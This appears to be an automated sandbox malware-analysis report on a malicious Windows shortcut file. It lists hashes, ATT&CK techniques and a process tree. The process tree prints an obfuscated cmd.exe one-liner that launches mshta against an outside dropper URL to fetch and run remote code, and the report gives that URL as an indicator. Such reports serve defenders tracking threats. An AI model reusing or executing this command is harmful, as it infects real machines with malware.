8f82f6f9651da9b98fd6ee6ab62f84d34081c175e5a31e013d40a68b4ed1f6f9

Analysis

max time kernel
148s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:54

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General

Target
DOC-K28QY7.lnk
Size 1KB
Sample260803-p5ldcszvhs
SHA256 8f82f6f9651da9b98fd6ee6ab62f84d34081c175e5a31e013d40a68b4ed1f6f9
MD5 cfcdc6e98df8c6da2219be3c65505876
SHA1 da0e06f63d3d931abeb1a4ecd83ce47a196f91e8
SHA512 0baeb902c5cf307d5bffcd3c21437a0a5cee0c348db283c818d533808b350c037e57a172478f4a6d3508075a93da59b7bc84775bf675b7cb027a252df1169115
TLSH
T17A3197503EFD0620F3F39E7389BB9B1084BAB8568E20CA2D0181460C1422A05E57AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4584	cmd.exe
3780	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4584 wrote to memory of 3780	4584	cmd.exe	89
PID 3780 wrote to memory of 1544	3780	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-K28QY7.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4584
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set mIYSA=msh&&set TVAE=ta&&start "" !mIYSA!!TVAE! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3780
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:1544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads